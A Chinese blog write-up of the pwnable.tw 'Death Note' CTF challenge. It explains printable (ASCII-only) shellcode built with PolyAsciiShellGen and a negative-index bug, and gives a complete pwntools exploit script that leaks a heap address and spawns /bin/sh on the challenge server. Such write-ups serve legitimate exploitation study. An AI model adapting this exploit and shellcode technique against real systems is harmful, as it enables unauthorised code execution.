

# pwnable tw Death Note writeup

原创

[charlie\\_heng](#) 于 2018-03-01 18:00:01 发布 869 收藏

分类专栏: [pwn](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/charlie\\_heng/article/details/79415798](https://blog.csdn.net/charlie_heng/article/details/79415798)

版权



[pwn](#) 专栏收录该内容

26 篇文章 0 订阅

订阅专栏

pwnable tw的题做到后面越来越骚了.....脑洞太大...

这题其实是printable shellcode 一开始完全没思路, 后面搜了下, 发现了一个神器

<https://github.com/VincentDary/PolyAsciiShellGen>

能将shellcode转化为可打印字符

看了下生成的shellcode, 发现其实它是利用 `sub eax,xxx` 来将eax设置为任意值, 然后push进栈, 自修改代码

有了这个东西, 有两个思路

1. 将ebx指向/bin/sh, eax值设为0xb, 执行int 80
2. 替换掉strlen的got表的值, 在调用strlen的时候, eax的指向的输入进来的东西, 这个时候只要构造出一个jmp eax或者jmp 其他寄存器就可以了

我只试了第一个思路, 第二个思路可以自行尝试

下面是payload

```
from pwn import *
import os

#p=process('./death_note')
p=remote('chall.pwnable.tw', 10201)
context.log_level='debug'
#gdb.attach(proc.pidof(p)[0])

shell= asm('push ebx')+asm('pop eax')

def moveax(addr,single=True):
    cmd='PolyAsciiShellGen/PolyAsciiShellGen '+str(addr)+' 1 "\\xcd\\x80"'
    o=os.popen(cmd,'r')
    tmp=o.read()
    if single:
        id=tmp.index(chr(0x50))
        return tmp[0x2:id]
    return tmp
```

```

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.sendline(x)

def add(idx, name):
    se('1')
    ru('Index :')
    se(str(idx))
    ru('Name :')
    se(name)
    ru('Your choice :')

def show(idx):
    se('2')
    ru('Index :')
    se(str(idx))
    ru('Name : ')
    addr=u32(p.recv(4))
    ru('Your choice :')
    return addr

def delete(idx):
    se('3')
    ru('Index :')
    se(str(idx))
    ru('Your choice :')

add(-15, shell)

heap=show(-787)

delete(-15)

print(hex(heap))

shell += moveax(heap+0x51)
shell += asm('push eax')+asm('pop ebx')
shell += asm('push ecx')+asm('pop eax')
shell += moveax(11, False)[0x1d:0x2c]
shell += asm('push eax')+asm('pop esi')
shell += asm('push ecx')+asm('pop eax')
shell += moveax(11, False)[0x2:0x11]
shell += asm('push ebx')+asm('pop esp')
shell += asm('push esi')*8
shell += '/bin/sh'

add(-15, shell)

se('4')

p.interactive()

```